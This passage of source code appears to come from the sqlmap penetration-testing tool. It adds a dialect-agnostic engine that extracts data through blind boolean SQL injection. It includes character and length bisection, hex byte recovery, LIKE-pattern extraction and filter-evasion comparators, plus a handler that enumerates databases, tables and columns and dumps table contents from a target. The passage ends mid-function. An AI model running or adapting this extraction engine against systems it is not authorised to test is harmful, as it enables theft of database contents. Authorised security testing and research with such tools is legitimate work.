Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from .atlas import *
from .records import *
class _Extraction(object):
"""_Extraction
turn the discovered dialect into VALUES: length, char reading, literals, hex,
the public extract*/read* API, and the LIKE pattern-match floor."""
def _charExists(self, expr, pos):
# is there a real character at 1-based `pos`? derived from the substring's
# measured end behavior - the basis for length when no length fn exists.
one = self._sub(expr, pos, 1)
if self.dialect.substring.get("beyond_end") == "null-or-error":
return self._ask("%s IS NOT NULL" % one)
return self._ask("%s IS NOT NULL" % one) and not self._ask("%s=''" % one)
def _measureLengthSub(self, expr, ceiling):
# length via substring: find the largest position that still holds a char.
# mirrors _measureLength's exponential-then-bisect shape (len>N <=> a char
# exists at N+1), for backends with substring but no length fn.
if not self._charExists(expr, 1):
return (None if self._ask("(%s) IS NULL" % expr) else 0), False
if self._charExists(expr, ceiling + 1):
return ceiling, True
low, high = 1, min(8, ceiling)
while high < ceiling and self._charExists(expr, high + 1):
low = high + 1
high = min(high * 2, ceiling)
while low < high:
mid = (low + high) // 2
if self._charExists(expr, mid + 1):
low = mid + 1
else:
high = mid
return low, False
def _hasChars(self, expr):
# non-empty existence check that works with either a length fn or substring
if self.dialect.length is not None:
lexpr = self._len(expr)
return self._numDefined(lexpr) and not self._ask("%s=0" % lexpr)
if self.dialect.substring is not None:
return self._charExists(expr, 1)
return False
def _lenEquals(self, expr, n):
# exact-length corroboration used in discovery, length-fn or substring-derived
if self.dialect.length is not None:
return self._ask("%s=%d" % (self._len(expr), n))
if self.dialect.substring is not None:
return self._measureLength(expr, ceiling=max(n + 1, 8))[0] == n
return False
def _measureLength(self, expr, ceiling=None):
"""Return (length, truncated) - no shared per-call state, and a separate
`ceiling` so hex/byte pulls can be capped independently of maxlen."""
ceiling = self.maxlen if ceiling is None else ceiling
if self.dialect.length is None:
return self._measureLengthSub(expr, ceiling)
lexpr = self._len(expr)
if not self._numDefined(lexpr):
return None, False
if self._ask("%s=0" % lexpr):
return 0, False
if ceiling < 1: # non-empty value but capped to nothing (maxlen=0)
return 0, True
n = self._readNum(lexpr, 1, ceiling)
return n, n >= ceiling # at the cap -> treat as (possibly) truncated
def valueLength(self, expr):
length, truncated = self._measureLength(expr)
self._lastTruncated = truncated
return length
def _literalVariants(self, value):
# spellings to try for exact char verification; SQL Server & others need an
# N'...' prefix to preserve non-ASCII, cheap vs accepting a wrong candidate
yield self._lit(value)
if any(ord(c) > 127 for c in value):
yield "N%s" % self._lit(value)
def _exactCharEquals(self, expr, value):
return any(self._exactEquals(expr, lit) for lit in self._literalVariants(value))
def _lit(self, ch):
# double single quotes always; also double backslashes on engines that treat
# '\' as an escape char (MySQL/MariaDB default), else '\' + "'" would break
# the literal and silently corrupt the probe
if self._backslashEscape is None:
self._backslashEscape = (self.dialect.length is not None
and self._ask("%s=1" % self._len("'\\\\'")))
s = ch.replace("\\", "\\\\") if self._backslashEscape else ch
return _native("'%s'" % s.replace("'", "''"))
def _bisectCharset(self, greater):
# greater(c) -> is the source char strictly greater than charset char c?
cs = _PRINTABLE_SORTED
lo, hi = 0, len(cs) - 1
while lo < hi:
mid = (lo + hi) // 2
if greater(cs[mid]):
lo = mid + 1
else:
hi = mid
return cs[lo]
def _gtNum(self, expr, n, high):
# "is `expr` > n?" via the discovered comparator (high = current upper bound).
# BETWEEN expresses the same range test without the '>'/'<' a WAF may strip.
if self._comparator == "between":
return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high))
return self._ask("%s>%d" % (expr, n))
def _numDefined(self, expr):
# value is a defined (non-NULL) number - validity gate that needs no '>'
return self._ask("(%s) IS NOT NULL" % expr)
def _readNum(self, expr, lo, hi):
# bounded numeric read in [lo, hi]. ordered comparators bisect (exponential
# first so a small value in a big range stays cheap); the order-free path
# scans fixed windows then IN-bisects inside the hit window (IN lists bounded).
if self._comparator != "membership":
low, high = lo, min(max(lo, 8), hi)
while high < hi and self._gtNum(expr, high, hi):
low, high = high + 1, min(high * 2, hi)
while low < high:
mid = (low + high) // 2
if self._gtNum(expr, mid, hi):
low = mid + 1
else:
high = mid
return low
if self._inOk:
window = 128
base = lo
while base <= hi:
win = list(range(base, min(base + window, hi + 1)))
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))):
while len(win) > 1:
half = win[:len(win) // 2]
if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))):
win = half
else:
win = win[len(win) // 2:]
return win[0]
base += window
return hi
# no ordered op and no IN: plain '=' scan (bounded by hi; small values first)
for v in range(lo, hi + 1):
if self._ask("%s=%d" % (expr, v)):
return v
return hi
def _bisectCodes(self, code, codes):
# ordered bisection over a sorted code list (restricted alphabet)
lo, hi = 0, len(codes) - 1
top = codes[hi]
while lo < hi:
mid = (lo + hi) // 2
if self._gtNum(code, codes[mid], top):
lo = mid + 1
else:
hi = mid
return codes[lo]
def _bisectCodeRange(self, code):
# general dynamic-range bisection - a real code-point fn can far exceed 255,
# so find the tight upper bound first, then bisect
high = _UNICODE_MAX
for cap in (127, 255, 0xFFFF, _UNICODE_MAX):
if not self._gtNum(code, cap, _UNICODE_MAX):
high = cap
break
low = 0
while low < high:
mid = (low + high) // 2
if self._gtNum(code, mid, high):
low = mid + 1
else:
high = mid
return low
def _pickCode(self, code, codes):
# order-free code selection when there's no ordered comparator: IN() subset
# bisection if available, else a plain '=' scan (last resort, no '<>' needed)
if self._inOk:
return self._membershipCode(code, codes)
for c in codes:
if self._ask("%s=%d" % (code, c)):
return c
return None
def _membershipCode(self, code, codes):
# ORDER-FREE subset bisection: split the candidate code list in half and test
# `code IN (half)` - needs only '='/IN, so it survives blocked '>'/'<'/BETWEEN
# and collation quirks. ~log2(n) probes. Returns the matched code, or None
# when the char is outside `codes` (caller escalates to hex / marks it).
if not self._inOk or not self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in codes))):
return None
cand = list(codes)
while len(cand) > 1:
half = cand[:len(cand) // 2]
if self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in half))):
cand = half
else:
cand = cand[len(cand) // 2:]
return cand[0]
def _membershipLit(self, one, chars):
# order-free subset bisection over char LITERALS (no code fn, no ordering) -
# `chars` is frequency-ordered so the common half resolves first
if not self._inOk or not self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in chars))):
return None
cand = list(chars)
while len(cand) > 1:
half = cand[:len(cand) // 2]
if self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in half))):
cand = half
else:
cand = cand[len(cand) // 2:]
return cand[0]
def _ensureHexfn(self):
# a hex fn may not have been discovered (code/collation mode won the ladder
# before hex was tried); probe for one on demand so escalation can recover
# bytes exactly. probes at most once.
if self.dialect.hexfn is None and not self._hexProbed:
self._hexProbed = True
with self._probePhase(): # wrong rungs (e.g. HEX() on PostgreSQL) error -> "unusable", not undecided
for name, tmpl in _HEXFN:
enc = self._hexEncoding(tmpl)
if enc:
self.dialect.hexfn = Cap(name, tmpl, encoding=enc)
break
return self.dialect.hexfn
def _hexEncoding(self, tmpl):
# if `tmpl` hex-encodes a char, return the codec that decodes it (utf-8 /
# utf-16-be / utf-16-le), else None. 'q'(0x71) must map to that codec's form
# AND track the char (a DIFFERENT value for 'p'), so a constant can't match.
hq = tmpl.format(expr=self._sub("'sqlmap'", 2, 1)) # 'q'
hp = tmpl.format(expr=self._sub("'sqlmap'", 6, 1)) # 'p'
for form, enc in _HEX_Q_ENCODINGS:
if self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form)):
return enc
return None
def _escalate(self, one, pos):
# candidate did not verify -> char is outside the searched alphabet.
# recover its exact bytes via hex if available; otherwise mark it (never
# silently substitute a space/'~' or delete it)
if self._ensureHexfn():
ch = self._readHexChar(one)
if ch and ch != _REPL:
return ch
self.dialect.notes.append("char at position %d outside extraction alphabet - marked" % pos)
return _REPL
def _readChar(self, expr, pos, codes=None):
one = self._sub(expr, pos, 1)
mode = self.dialect.compare
if mode == "code":
code = self.dialect.charcode[1].format(expr=one)
ordered = self._comparator in ("gt", "between")
if codes is not None:
# restricted-alphabet (e.g. the hex-framed dump payload): a small ASCII
# set. no per-char verify - ASCII codes are unambiguous across charcode
# semantics and extractResult whole-value verifies.
low = self._bisectCodes(code, codes) if ordered else self._pickCode(code, codes)
return _unichr(low) if low is not None else self._escalate(one, pos)
if ordered:
low = self._bisectCodeRange(code)
else:
# no ordered operator: order-free IN() over the printable set (or a '='
# scan if IN is gone too); anything outside it escalates to hex / marks
low = self._pickCode(code, [ord(c) for c in _PRINTABLE_SORTED])
if low is None:
return self._escalate(one, pos)
if 0xD800 <= low <= 0xDFFF:
# a UTF-16 code-unit fn (SQL Server UNICODE under a non-SC collation)
# can return an isolated surrogate - not a scalar; recover via bytes
return self._escalate(one, pos)
try:
ch = _unichr(low) # low==0 is a valid NUL char, not "empty"
except ValueError:
return self._escalate(one, pos)
# a lossy code fn can return a codepage byte, a UTF-8 lead byte, or even
# '?' (63) for an unrepresentable char - the old low>127-only check
# silently accepted the last as a literal '?'. only a *proven* code-point
# fn is trusted outright; everything else must round-trip-verify.
if self.dialect.charcode.get("semantics") != "codepoint" and \
not self._exactCharEquals(one, ch):
return self._escalate(one, pos)
return ch
if mode == "hex":
if self.dialect.hexfn is None:
return self._escalate(one, pos)
return self._readHexChar(one)
if mode == "collation":
if self.dialect.binwrap is None:
return self._escalate(one, pos)
w = self.dialect.binwrap[1]
cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (w.format(x=one), w.format(x=self._lit(c)))))
if self._ask("%s=%s" % (w.format(x=one), w.format(x=self._lit(cand)))):
return cand
return self._escalate(one, pos)
if mode == "ordinal":
cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (one, self._lit(c))))
if self._ask("%s=%s" % (one, self._lit(cand))):
return cand
return self._escalate(one, pos)
# equality / equality-ci: order-free IN() subset bisection (frequency-ordered,
# ~log2(n) probes) when IN is usable, else the linear frequency scan
if self._inOk:
ch = self._membershipLit(one, _FREQ_ORDER)
return ch if ch is not None else self._escalate(one, pos)
for ch in _FREQ_ORDER:
if self._ask("%s=%s" % (one, self._lit(ch))):
return ch
return self._escalate(one, pos)
def _readHexChar(self, one):
# read the uppercase-hex byte string of a single source char, digit by
# digit over [0-9A-F] (case-safe), then pick the encoding by exact round-trip
# against the source (decoder order alone is endian-ambiguous: 00 41 is both
# UTF-16BE 'A' and UTF-16LE U+4100).
hexpr = self.dialect.hexfn[1].format(expr=one)
hlen, htrunc = self._measureLength(hexpr, ceiling=_MAX_HEX_CHAR_NIBBLES)
if htrunc or not hlen or hlen % 2 or hlen > _MAX_HEX_CHAR_NIBBLES:
return _REPL
# bisect each nibble over [0-9A-F] when hex ordering is reliable (~4 asks
# vs up to 16); fall back to an equality scan otherwise
if self._hexOrdered is None:
self._hexOrdered = (self._ask("'A'>'9'") and self._ask("'F'>'A'") and self._ask("'1'>'0'"))
digits = ""
for k in range(1, hlen + 1):
nib = self._sub(hexpr, k, 1)
if self._hexOrdered:
lo, hi = 0, len(_HEXDIGITS) - 1
while lo < hi:
mid = (lo + hi) // 2
if self._ask("%s>'%s'" % (nib, _HEXDIGITS[mid])):
lo = mid + 1
else:
hi = mid
# verify: if nib isn't actually this hex digit (WAF/glitch), bail
if not self._ask("%s='%s'" % (nib, _HEXDIGITS[lo])):
return _REPL
digits += _HEXDIGITS[lo]
else:
for hd in _HEXDIGITS:
if self._ask("%s='%s'" % (nib, hd)):
digits += hd
break
else:
return _REPL
try:
raw = _unhexlify(digits)
except (TypeError, ValueError, binascii.Error, UnicodeError):
return _REPL
# generate every single-scalar candidate and pick the one that round-trips
# against the source char (resolves the endian ambiguity), preferring the
# interleaved-NUL-signalled endianness order first
order = []
if len(raw) >= 2 and raw[0:1] == b"\x00" and raw[1:2] != b"\x00":
order += ["utf-16-be", "utf-32-be"]
if len(raw) >= 2 and raw[1:2] == b"\x00" and raw[0:1] != b"\x00":
order += ["utf-16-le", "utf-32-le"]
# UTF first (near-universal), then legacy single/multibyte charsets a non-Unicode
# backend may hex; each is TRIED only when it round-trips against the source char
# (see _exactCharEquals below), so adding codecs can only recover MORE, never
# mis-decode. latin-1 stays last (it accepts any single byte).
order += ["utf-8", "utf-16-le", "utf-16-be", "utf-32-le", "utf-32-be",
"cp1252", "cp1251", "gbk", "shift_jis", "euc-kr", "big5", "latin-1"]
seen = set()
for enc in order:
try:
dec = raw.decode(enc)
except (UnicodeDecodeError, ValueError):
continue
if dec in seen or not _isSingleUnicodeScalar(dec):
continue
seen.add(dec)
if self._exactCharEquals(one, dec):
return dec
return _REPL
def _textable(self, expr):
# extraction needs BOTH length and substring to work; length may implicitly
# cast where substring won't (MSSQL CONCAT(int,..) vs SUBSTRING(int,..)),
# so the substring primitive must be probed too. with no length fn, the
# substring probe alone is the textability test.
length_ok = self.dialect.length is None or self._numDefined(self._len(expr))
return length_ok and self._ask("%s IS NOT NULL" % self._sub(expr, 1, 1))
def _resolveText(self, expr):
# if the expression isn't directly substringable (e.g. a numeric/date column
# on a strict engine), wrap it in the discovered text cast
if self._textable(expr):
return expr
if self.dialect.textcast is not None and self._ask("%s IS NOT NULL" % expr):
casted = self.dialect.textcast[1].format(expr=expr)
if self._textable(casted):
return casted
return expr
def coalesce(self, expr, fallback="''"):
return self.dialect.coalesce[1].format(expr=expr, fallback=fallback) if self.dialect.coalesce else expr
def _concatMany(self, parts):
if len(parts) == 1:
return parts[0]
func = self.dialect.concat.get("variadic") if self.dialect.concat else None
if func: # flat CONCAT(a,b,c,...) when variadic
return "%s(%s)" % (func, ",".join(parts))
out = parts[0]
for p in parts[1:]:
out = self.dialect.concat[1].format(a=out, b=p)
return out
def buildLiteral(self, value):
"""Build a SQL string literal for `value`. Prefers CHAR(code)||... from the
discovered char-from-code + concat primitives (no quote-escaping pitfalls),
for ASCII values; otherwise a doubled-quote literal."""
if value and self.dialect.charfrom and self.dialect.concat and all(0 < ord(c) < 128 for c in value):
return self._concatMany([self.dialect.charfrom[1].format(code=ord(c)) for c in value])
return self._lit(value)
def extract(self, expr, limit=None):
return self.extractResult(expr, limit).value
def extractResult(self, expr, limit=None, _ceiling=None, _verify=True, codes=None):
"""Structured text extraction keeping NULL / empty / truncated / failed
distinct - never conflated into one ambiguous ''/None. `codes` restricts the
char alphabet (sorted code list) for a big speedup on known-alphabet values."""
if self.dialect.prefix is not None and self.dialect.substring is None:
return self._likeExtract(expr, limit) # MAX-CONSTRAINT pattern-match path
q0 = self._queries
expr = self._resolveText(expr)
ceiling = self.maxlen if _ceiling is None else _ceiling
length, truncated = self._measureLength(expr, ceiling=ceiling)
if length is None:
# >=0 was false: either a genuine NULL or the probe itself failed.
# PROVE `IS NULL` positively - negating a failed `IS NOT NULL` used to
# turn every invalid expression into a convincing, "complete" NULL.
is_null = self._ask("(%s) IS NULL" % expr)
return ExtractResult(None, is_null=is_null, complete=is_null,
queries=self._queries - q0,
warnings=[] if is_null else ["length probe failed"])
if limit is not None and limit < length:
truncated = True # a bounded prefix of a longer value
length = limit
value = "" if length == 0 else "".join(self._readChar(expr, i, codes) for i in range(1, length + 1))
warns = ["contains unresolved char"] if _REPL in value else []
if self.dialect.compare == "equality-ci":
warns.append("lossy equality collation: case/accents ambiguous")
complete = not truncated and not warns
# a length fn can stop at an embedded NUL, yielding a convincing short prefix.
# ALWAYS verify the WHOLE reconstructed value once - _exactEquals uses the
# strongest available comparator (hex > binary wrapper > plain equality); even
# plain equality catches a NUL-truncated prefix. recover via hex on mismatch.
# (_verify=False on the internal hex-string pull to avoid re-entry.)
if _verify and complete and not self._exactEquals(expr, self._lit(value)):
recovered = self._extractViaHex(expr, q0)
if recovered is not None:
return recovered
complete = False
warns.append("whole-value verification failed")
return ExtractResult(value, complete=complete, truncated=truncated,
queries=self._queries - q0, warnings=warns)
def _extractViaHex(self, expr, q0=None):
# recover a full text value through strict hex extraction, or None
if not self._ensureHexfn():
return None
q0 = self._queries if q0 is None else q0
res = self.extractResult(self.dialect.hexfn[1].format(expr=expr),
_ceiling=self.maxbytes * 2, _verify=False)
if res.is_null:
return ExtractResult(None, is_null=True, complete=True, queries=self._queries - q0)
if res.value is None or not res.complete or res.truncated or res.warnings:
return None
dec = self._decodeHexToken(res.value)
if dec is None:
return None
return ExtractResult(dec, complete=True, queries=self._queries - q0,
warnings=["recovered via hex after verification mismatch"])
def _exactEquals(self, left, right):
# whole-value equality that avoids collation/trailing-space lies
if self._ensureHexfn():
t = self.dialect.hexfn[1]
return self._ask("(%s)=(%s)" % (t.format(expr=left), t.format(expr=right)))
if self.dialect.binwrap:
t = self.dialect.binwrap[1]
return self._ask("(%s)=(%s)" % (t.format(x=left), t.format(x=right)))
return self._ask("(%s)=(%s)" % (left, right))
def extractInteger(self, expr, maximum=None):
"""Extract a (possibly signed) integer by range-bounded bisection - avoids
stringifying and reading digit-by-digit."""
cap = maximum if maximum is not None else 1 << 62
if self._comparator != "gt":
# BETWEEN / order-free IN(): read the non-negative magnitude (counts,
# lengths - the only integers enumeration needs). ceil bounds the
# order-free window scan; hitting it overflows rather than saturating.
if not self._numDefined(expr):
return None
ceil = cap if self._comparator == "between" else min(cap, 1 << 16)
n = self._readNum(expr, 0, ceil)
if n >= ceil and ceil < cap:
raise OverflowError("integer exceeds maximum %d" % ceil)
return n
if not self._ask("%s>=0" % expr):
if not self._ask("%s<0" % expr):
return None # NULL or non-numeric
if self._ask("%s<%d" % (expr, -cap)): # symmetric: negative side capped too
raise OverflowError("integer below minimum -%d" % cap)
hi = -1
lo = -2
while self._ask("%s<%d" % (expr, lo)):
hi = lo
lo *= 2
while lo < hi:
mid = -((-lo + -hi) // 2) # ceil toward zero
if self._ask("%s<%d" % (expr, mid)):
hi = mid - 1
else:
lo = mid
return lo
lo, hi = 0, 1
while hi < cap and self._ask("%s>%d" % (expr, hi)):
lo = hi + 1
hi = min(hi * 2 + 1, cap)
if hi == cap and self._ask("%s>%d" % (expr, cap)):
raise OverflowError("integer exceeds maximum %d" % cap) # never saturate silently
while lo < hi:
mid = (lo + hi) // 2
if self._ask("%s>%d" % (expr, mid)):
lo = mid + 1
else:
hi = mid
return lo
def extractBytes(self, expr):
"""Extract the exact bytes of a string/blob expression via a hex function.
Byte-exact and collation-independent (the hex string is ASCII [0-9A-F], so
whatever compare mode is active reads it cleanly). Returns None if no hex
function is available on the target."""
if not self._ensureHexfn():
return None
# hex doubles the length; cap by maxbytes (a char can be several bytes),
# not maxlen
res = self.extractResult(self.dialect.hexfn[1].format(expr=expr),
_ceiling=self.maxbytes * 2, _verify=False)
hexstr = res.value
# STRICT: never clean corruption into believable bytes. reject a non-hex
# char, odd length, incomplete/truncated pull, or an unresolved marker.
if hexstr is None or not res.complete or res.truncated or res.warnings:
return None
if len(hexstr) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in hexstr):
return None
try:
return _unhexlify(hexstr)
except (TypeError, ValueError, binascii.Error, UnicodeError):
return None
def extractText(self, expr, encoding="utf-8", errors="replace"):
"""Extract bytes then decode with a caller-chosen encoding - the reliable
path when the column's charset is known (e.g. a CP1252 VARCHAR, a UTF-16
NVARCHAR, or a binary blob). Falls back to char-by-char extract() when the
target has no hex function."""
raw = self.extractBytes(expr)
if raw is None:
return self.extract(expr)
return raw.decode(encoding, errors)
def _likePat(self, prefix_singles, ch, trailing):
# build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal
# char + `single`*after. only `ch` may be special, escaped if so.
p = self.dialect.prefix
multi, single = p.get("multi"), p.get("single")
body = single * prefix_singles
if p.name == "GLOB" and ch in (multi, single, "["):
body += "[%s]" % ch # GLOB escapes via a char class
return body + (single * trailing), ""
# SIMILAR TO shares %/_ with LIKE but also has regex metachars; LIKE has only %/_
special = _SIMILAR_META if p.name == "SIMILAR TO" else (multi, single)
if ch in special:
body += "\\" + ch # escape via ESCAPE '\'
return body + (single * trailing), " ESCAPE '\\'"
body += ch.replace("'", "''")
return body + (single * trailing), ""
def _likeIs(self, expr, pattern, esc):
return self._ask("(%s) %s '%s'%s" % (expr, self.dialect.prefix.name, pattern, esc))
def _likeExtract(self, expr, limit=None):
p = self.dialect.prefix
multi, single = p.get("multi"), p.get("single")
q0 = self._queries
# NULL vs matches-anything-nonnull
if not self._likeIs(expr, multi, ""):
is_null = self._ask("(%s) IS NULL" % expr)
return ExtractResult(None, is_null=is_null, complete=is_null,
queries=self._queries - q0,
warnings=[] if is_null else ["pattern probe failed"])
if self._likeIs(expr, "", ""): # empty string matches only ''
return ExtractResult("", complete=True, queries=self._queries - q0)
# length from wildcards: `_`*n + `%` matches iff length >= n. find the
# largest n that still matches (keep a known-true lower bound; the exponential
# must NOT advance lo past the true region)
ge = lambda n: self._likeIs(expr, single * n + multi, "")
hi = 1
while hi < self.maxlen and ge(hi):
hi = min(hi * 2, self.maxlen)
lo = 1 # ge(1) is true (non-empty)
while lo < hi:
mid = (lo + hi + 1) // 2
lo, hi = (mid, hi) if ge(mid) else (lo, mid - 1)
length = lo
truncated = length >= self.maxlen and ge(self.maxlen)
if limit is not None and limit < length:
truncated, length = True, limit
out = []
for i in range(length):
hit = None
for c in _FREQ_ORDER:
pat, esc = self._likePat(i, c, length - i - 1)
if self._likeIs(expr, pat, esc):
hit = c
break
out.append(hit if hit is not None else _REPL)
value = "".join(out)
warns = ["contains unresolved char"] if _REPL in value else []
if p.get("case_insensitive"):
warns.append("LIKE is case-insensitive: letter case may be ambiguous")
return ExtractResult(value, complete=not truncated and not warns, truncated=truncated,
queries=self._queries - q0, warnings=warns)
@staticmethod
def _decodeHexToken(token, encoding=None):
if len(token) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in token):
return None # strict: don't clean corruption
try:
raw = _unhexlify(token)
except (TypeError, ValueError, binascii.Error, UnicodeError):
return None
if encoding:
return raw.decode(encoding, "replace")
# UTF-16LE (SQL Server nvarchar) is *also* valid UTF-8 when ASCII-ish, so a
# utf-8-first guess silently mis-decodes it; detect the interleaved-null
# signature first
if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(1, len(raw), 2)):
try:
return raw.decode("utf-16-le")
except UnicodeDecodeError:
pass
# UTF-16BE (h2/HSQLDB RAWTOHEX) has nulls at EVEN offsets; catch it before the
# utf-8 guess below "succeeds" by reading those nulls as NUL-interleaved text
if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(0, len(raw), 2)):
try:
return raw.decode("utf-16-be")
except UnicodeDecodeError:
pass
for enc in ("utf-8", "utf-16-le", "latin-1"):
try:
return raw.decode(enc)
except (UnicodeDecodeError, ValueError):
continue
return raw.decode("latin-1", "replace")

223
extra/esperanto/handler.py Normal file
View file

@ -0,0 +1,223 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from .engine import Esperanto
from .records import OracleUndecided
def buildHandler():
"""Build the sqlmap dbmsHandler that drives enumeration through this engine when
the back-end cannot be (or should not be) fingerprinted. sqlmap-core imports are
deferred here so the engine above stays dependency-free for standalone use.
The user still commands *what* to retrieve (--banner / --tables / --dump / ...);
esperanto only works out *how* on a dialect it discovers from scratch, and every
probe rides sqlmap's own boolean inference (request / comparison / WAF stack)."""
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import EXPECTED
from lib.core.exception import SqlmapDataException
from lib.request.inject import checkBooleanExpression
from lib.request.inject import getValue
from plugins.generic.enumeration import Enumeration
from plugins.generic.misc import Miscellaneous
# boolean-blind-only oracle (no inband UNION marker): whole-page true/false, so a
# reflective target that filters out the reflected marker can't defeat it
def _blindOracle(condition):
return getValue(condition, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY,
suppressOutput=True, union=False, error=False, time=False)
class _EsperantoHandler(Enumeration, Miscellaneous):
def __init__(self):
Enumeration.__init__(self)
Miscellaneous.__init__(self)
self._esp = None
self._identCache = {} # current user/db: fetch (and announce) once
self._colCache = {} # (db, table) -> ordered column names, so a dump
# reuses what --columns already enumerated
self._scopeCache = {} # table -> resolved schema (see _scopeFor)
def _engine(self):
if self._esp is None:
# esperanto is a PURE boolean-oracle engine: every probe is one true/false
# question, so it gains nothing from UNION/error inband extraction - while
# those need a concatenated marker whose generic form is CONCAT() when the
# backend is unidentified (agent.py), and CONCAT() does not exist on SQLite/
# Firebird/Oracle (they use ||) so every such probe errors. so PREFER the
# boolean-blind technique: no marker, no concatenation, whole-page true/false,
# works everywhere. only fall back to whatever-technique-is-available if the
# target has no usable boolean-blind vector. _ask decides what an undecidable
# probe MEANS by context (skip a candidate rung vs degrade a data read loudly).
esp = Esperanto(_blindOracle, retries=2)
logger.info("Esperanto is discovering the back-end SQL dialect (agnostic mode, boolean-blind)")
try:
esp.discover()
except RuntimeError:
# no usable boolean-blind vector on this target - retry with any technique
# sqlmap detected (UNION/error/time); may hit the CONCAT limitation above
esp = Esperanto(lambda condition: checkBooleanExpression(condition), retries=2)
logger.info("Esperanto retrying discovery via any available inference technique")
try:
esp.discover()
except RuntimeError as ex:
# genuinely unusable (unstable target, or no substring/pattern
# primitive) - stop cleanly instead of surfacing an internal traceback
raise SqlmapDataException("Esperanto could not establish a reliable extraction oracle on this target (%s)" % ex)
logger.info("Esperanto dialect verdict: %s" % (esp.identify().get("product") or "unknown"))
esp._progress = lambda value: logger.info("retrieved: %s" % value) # live feedback
for note in esp.dialect.notes: # surface degradations LOUDLY (never silent)
logger.warning("Esperanto: %s" % note)
self._esp = esp
return self._esp
def _scopeDb(self):
# the database to scope table/column lookups to: -D if given, else the
# current one. WITHOUT this, a same-named table in another schema (e.g.
# information_schema.USERS vs shop.users) merges columns and breaks dump.
return conf.db or self.getCurrentDb()
def _scopeFor(self, table):
# scope for a SPECIFIC table: -D wins; else the current schema IF the table
# is there; else the schema the table actually lives in (PG-family: tables
# often sit in 'public' while current_schema is the login user's own schema).
if conf.db:
return conf.db
if table in self._scopeCache:
return self._scopeCache[table]
esp = self._engine()
cur = self.getCurrentDb()
scope = cur if (cur and esp.hasTable(table, cur)) else (esp.tableSchema(table) or cur)
self._scopeCache[table] = scope
return scope
def _db(self):
return self._scopeDb() or "<current>"
def getFingerprint(self):
# concise fingerprint only; the version banner is shown for --banner, not
# printed unbidden on every run (and not re-extracted here)
product = self._engine().identify().get("product") or "unknown"
return "back-end DBMS: %s (via Esperanto DBMS-agnostic engine)" % product
def getBanner(self):
# the ONLY path that blind-reads the full version string (expensive); the
# fingerprint/product naming never does
logger.info("fetching banner")
kb.data.banner = self._engine().banner()
return kb.data.banner
def getCurrentUser(self):
if "user" not in self._identCache:
expr = self._engine().dialect.identity.get("user")
if expr:
logger.info("fetching current user")
self._identCache["user"] = self._safeExtract(expr) if expr else None
kb.data.currentUser = self._identCache["user"]
return kb.data.currentUser
def getCurrentDb(self):
# called repeatedly to scope tables/columns/dump -> fetch and announce once
if "db" not in self._identCache:
expr = self._engine().dialect.identity.get("database")
if expr:
logger.info("fetching current database")
self._identCache["db"] = self._safeExtract(expr) if expr else None
kb.data.currentDb = self._identCache["db"]
return kb.data.currentDb
def _safeExtract(self, expr):
try:
return self._esp.extract(expr)
except OracleUndecided:
logger.warning("Esperanto could not retrieve %s (oracle undecided)" % expr)
return None
def isDba(self, user=None):
kb.data.isDba = False # no privilege claim the oracle cannot prove
return kb.data.isDba
def getDbs(self):
logger.info("fetching database names")
kb.data.cachedDbs = self._engine().enumerate("database", limit=(conf.limitStop or 50)) or []
return kb.data.cachedDbs
def getTables(self, bruteForce=None):
# scope to the requested database (-D) or the current one, so the listing
# isn't polluted with every schema's tables (e.g. information_schema)
db = conf.db or self.getCurrentDb()
lim = conf.limitStop or 100
names = self._engine().enumerate("table", limit=lim, schema=db) or []
if not names and not conf.db and db != "public":
# current schema empty (PG-family: login-user schema) -> tables usually
# live in 'public'; broaden rather than report nothing
pub = self._engine().enumerate("table", limit=lim, schema="public") or []
if pub:
names, db = pub, "public"
infoMsg = "fetching tables"
if db:
infoMsg += " for database '%s'" % db
logger.info(infoMsg)
kb.data.cachedTables = {db or "<current>": names}
return kb.data.cachedTables
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
if not conf.tbl:
logger.error("Esperanto needs a table (-T) to enumerate columns")
return {}
db = self._scopeFor(conf.tbl)
infoMsg = "fetching columns for table '%s'" % conf.tbl
if db:
infoMsg += " in database '%s'" % db
logger.info(infoMsg)
names = self._engine().columns(conf.tbl, schema=db) or []
self._colCache[(db, conf.tbl)] = names # let a following dump reuse these
kb.data.cachedColumns = {db or "<current>": {conf.tbl: dict((n, None) for n in names)}}
return kb.data.cachedColumns
def getSchema(self):
esp = self._engine()
db = self._scopeDb()
schema = {}
for table in (self.getTables().get(self._db()) or []):
schema[table] = dict((n, None) for n in (esp.columns(table, schema=db) or []))
kb.data.cachedColumns = {self._db(): schema}
return kb.data.cachedColumns
def dumpTable(self, foundData=None):
if not conf.tbl:
logger.error("Esperanto needs a table (-T) to dump")
return
db = self._scopeFor(conf.tbl)
cols = [c.strip() for c in conf.col.split(",")] if conf.col else None
if cols is None:
cols = self._colCache.get((db, conf.tbl)) # reuse --columns' result; don't re-walk
infoMsg = "fetching entries"
if cols:
infoMsg += " of column(s) '%s'" % ", ".join(cols)
infoMsg += " for table '%s'" % conf.tbl
if db:
infoMsg += " in database '%s'" % db
logger.info(infoMsg)
result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=(conf.limitStop or 10))
if not result or not result["columns"]:
logger.error("Esperanto could not dump table '%s'" % conf.tbl)
return
table_data = {}
